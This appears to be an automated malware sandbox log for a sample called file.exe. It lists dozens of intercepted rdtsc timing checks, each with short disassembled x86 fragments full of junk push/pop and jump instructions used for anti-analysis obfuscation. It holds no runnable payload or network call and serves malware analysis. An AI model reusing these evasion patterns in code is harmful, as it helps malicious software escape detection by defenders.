Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF106F second address: CF1099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 ja 00007FE764FBC4C1h 0x0000000d jmp 00007FE764FBC4BBh 0x00000012 jnc 00007FE764FBC4BEh 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1099 second address: CF109F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFD457 second address: CFD45B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D02861 second address: D0287F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 jnl 00007FE764CFA4D6h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jo 00007FE764CFA4DCh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0287F second address: D02891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FE764FBC4BBh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D02891 second address: D02896 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D09790 second address: D097A8 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE764FBC4B6h 0x00000008 jmp 00007FE764FBC4BEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D097A8 second address: D097C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE764CFA4E9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D097C5 second address: D097C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D132D7 second address: D132E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FE764CFA4DCh 0x0000000c jp 00007FE764CFA4D6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D13182 second address: D13187 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A52F second address: D1A54F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE764CFA4E8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A54F second address: D1A555 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A678 second address: D1A68F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jmp 00007FE764CFA4DFh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A7DB second address: D1A7F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764FBC4BAh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007FE764FBC4B6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A7F3 second address: D1A800 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE764CFA4D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A800 second address: D1A821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007FE764FBC4C3h 0x0000000b jo 00007FE764FBC4B6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1ACBD second address: D1ACC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1ACC3 second address: D1ACC9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1B697 second address: D1B69D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1B69D second address: D1B6A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1B6A3 second address: D1B6A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1B6A7 second address: D1B6B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C30F second address: D2C319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FE764CFA4D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A64F second address: D3A653 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A653 second address: D3A65D instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE764CFA4D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A65D second address: D3A67A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE764FBC4C8h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A67A second address: D3A689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FE764CFA4D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A689 second address: D3A68D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C75F second address: D3C77D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE764CFA4E8h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C77D second address: D3C787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push ebx 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C4BB second address: D3C4BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D538DB second address: D538E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D526DA second address: D526E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FE764CFA4D6h 0x0000000a popad 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5295C second address: D52966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FE764FBC4B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D52966 second address: D5298F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764CFA4E7h 0x00000007 jnl 00007FE764CFA4D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jng 00007FE764CFA4DCh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5298F second address: D52993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D52993 second address: D529A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE764CFA4DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D529A4 second address: D529AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D529AA second address: D529B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D529B6 second address: D529C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D529C2 second address: D529CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007FE764CFA4D6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D529CF second address: D529DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FE764FBC4B6h 0x0000000a jo 00007FE764FBC4B6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D52CBA second address: D52CC7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE764CFA4D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5314F second address: D53155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D53155 second address: D53159 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D53159 second address: D5315D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5315D second address: D53166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D53166 second address: D53184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE764FBC4C6h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D53184 second address: D5318A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5331E second address: D53322 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D53322 second address: D53328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5348A second address: D5348E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5348E second address: D53496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D53496 second address: D534A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007FE764FBC4B6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D534A6 second address: D534AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57B8C second address: D57BB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764FBC4BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE764FBC4C4h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D59899 second address: D5989D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5989D second address: D598C4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007FE764FBC4C9h 0x0000000c ja 00007FE764FBC4B6h 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C706A9 second address: C706AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300357 second address: 530035C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530035C second address: 5300362 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300362 second address: 53003C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764FBC4C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FE764FBC4C0h 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FE764FBC4BEh 0x0000001a and ecx, 1510F5A8h 0x00000020 jmp 00007FE764FBC4BBh 0x00000025 popfd 0x00000026 mov si, 749Fh 0x0000002a popad 0x0000002b mov edx, dword ptr [ebp+0Ch] 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53003C3 second address: 53003C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53003C7 second address: 53003DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764FBC4C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53003DE second address: 5300401 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764CFA4E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532080C second address: 5320810 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320810 second address: 5320816 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320816 second address: 5320852 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764FBC4BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FE764FBC4BCh 0x00000013 jmp 00007FE764FBC4C5h 0x00000018 popfd 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320852 second address: 5320858 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320858 second address: 53208E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764FBC4C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c jmp 00007FE764FBC4BEh 0x00000011 lea eax, dword ptr [ebp-04h] 0x00000014 jmp 00007FE764FBC4C0h 0x00000019 nop 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FE764FBC4BEh 0x00000021 adc esi, 5B2375F8h 0x00000027 jmp 00007FE764FBC4BBh 0x0000002c popfd 0x0000002d mov dx, si 0x00000030 popad 0x00000031 push eax 0x00000032 jmp 00007FE764FBC4C5h 0x00000037 nop 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FE764FBC4BDh 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532095C second address: 5320960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320960 second address: 5320966 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320008 second address: 532000E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532000E second address: 5320014 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320014 second address: 5320018 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320018 second address: 53200E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764FBC4C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov edi, esi 0x0000000f pushfd 0x00000010 jmp 00007FE764FBC4C8h 0x00000015 add al, FFFFFFF8h 0x00000018 jmp 00007FE764FBC4BBh 0x0000001d popfd 0x0000001e popad 0x0000001f push eax 0x00000020 jmp 00007FE764FBC4C9h 0x00000025 xchg eax, ebp 0x00000026 pushad 0x00000027 mov esi, 640063B3h 0x0000002c call 00007FE764FBC4C8h 0x00000031 mov di, si 0x00000034 pop esi 0x00000035 popad 0x00000036 mov ebp, esp 0x00000038 pushad 0x00000039 mov ebx, 2D61E6CEh 0x0000003e pushfd 0x0000003f jmp 00007FE764FBC4BFh 0x00000044 sbb ah, 0000007Eh 0x00000047 jmp 00007FE764FBC4C9h 0x0000004c popfd 0x0000004d popad 0x0000004e push FFFFFFFEh 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007FE764FBC4BDh 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53200E9 second address: 53200F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE764CFA4DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53200F9 second address: 53200FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53200FD second address: 53201B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007FE764CFA4D9h 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FE764CFA4DDh 0x00000014 jmp 00007FE764CFA4DBh 0x00000019 popfd 0x0000001a pushfd 0x0000001b jmp 00007FE764CFA4E8h 0x00000020 and ch, 00000038h 0x00000023 jmp 00007FE764CFA4DBh 0x00000028 popfd 0x00000029 popad 0x0000002a push eax 0x0000002b pushad 0x0000002c jmp 00007FE764CFA4DFh 0x00000031 pushfd 0x00000032 jmp 00007FE764CFA4E8h 0x00000037 jmp 00007FE764CFA4E5h 0x0000003c popfd 0x0000003d popad 0x0000003e mov eax, dword ptr [esp+04h] 0x00000042 pushad 0x00000043 call 00007FE764CFA4E7h 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53201B1 second address: 5320203 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov dl, 49h 0x00000007 popad 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007FE764FBC4C1h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 jmp 00007FE764FBC4C1h 0x00000018 pop eax 0x00000019 jmp 00007FE764FBC4BEh 0x0000001e push 3B2CEE7Bh 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FE764FBC4BCh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320203 second address: 532026C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764CFA4DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 4DB9C50Bh 0x00000010 jmp 00007FE764CFA4E6h 0x00000015 mov eax, dword ptr fs:[00000000h] 0x0000001b pushad 0x0000001c mov bh, ah 0x0000001e mov di, 3C8Eh 0x00000022 popad 0x00000023 push ebx 0x00000024 jmp 00007FE764CFA4E2h 0x00000029 mov dword ptr [esp], eax 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FE764CFA4E7h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532026C second address: 532031B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE764FBC4BFh 0x00000009 sbb eax, 18A6274Eh 0x0000000f jmp 00007FE764FBC4C9h 0x00000014 popfd 0x00000015 jmp 00007FE764FBC4C0h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d sub esp, 18h 0x00000020 jmp 00007FE764FBC4C0h 0x00000025 xchg eax, ebx 0x00000026 pushad 0x00000027 call 00007FE764FBC4BEh 0x0000002c pushfd 0x0000002d jmp 00007FE764FBC4C2h 0x00000032 add cx, 7158h 0x00000037 jmp 00007FE764FBC4BBh 0x0000003c popfd 0x0000003d pop esi 0x0000003e jmp 00007FE764FBC4C9h 0x00000043 popad 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532031B second address: 532031F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532031F second address: 5320325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320325 second address: 53203B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE764CFA4DBh 0x00000009 sbb si, 757Eh 0x0000000e jmp 00007FE764CFA4E9h 0x00000013 popfd 0x00000014 movzx ecx, dx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebx 0x0000001b jmp 00007FE764CFA4E3h 0x00000020 xchg eax, esi 0x00000021 jmp 00007FE764CFA4E6h 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a mov edx, eax 0x0000002c pushfd 0x0000002d jmp 00007FE764CFA4E8h 0x00000032 adc ecx, 60B98538h 0x00000038 jmp 00007FE764CFA4DBh 0x0000003d popfd 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53203B6 second address: 532040A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 mov bh, ah 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d jmp 00007FE764FBC4C9h 0x00000012 pushfd 0x00000013 jmp 00007FE764FBC4C0h 0x00000018 sub eax, 619329F8h 0x0000001e jmp 00007FE764FBC4BBh 0x00000023 popfd 0x00000024 popad 0x00000025 xchg eax, edi 0x00000026 pushad 0x00000027 push ecx 0x00000028 push ebx 0x00000029 pop eax 0x0000002a pop edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push ecx 0x0000002e pop edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532040A second address: 532040E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532040E second address: 532044E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FE764FBC4C5h 0x0000000d xchg eax, edi 0x0000000e pushad 0x0000000f mov esi, 5BEF7CA3h 0x00000014 mov di, si 0x00000017 popad 0x00000018 mov eax, dword ptr [769B4538h] 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FE764FBC4C1h 0x00000024 rdtsc
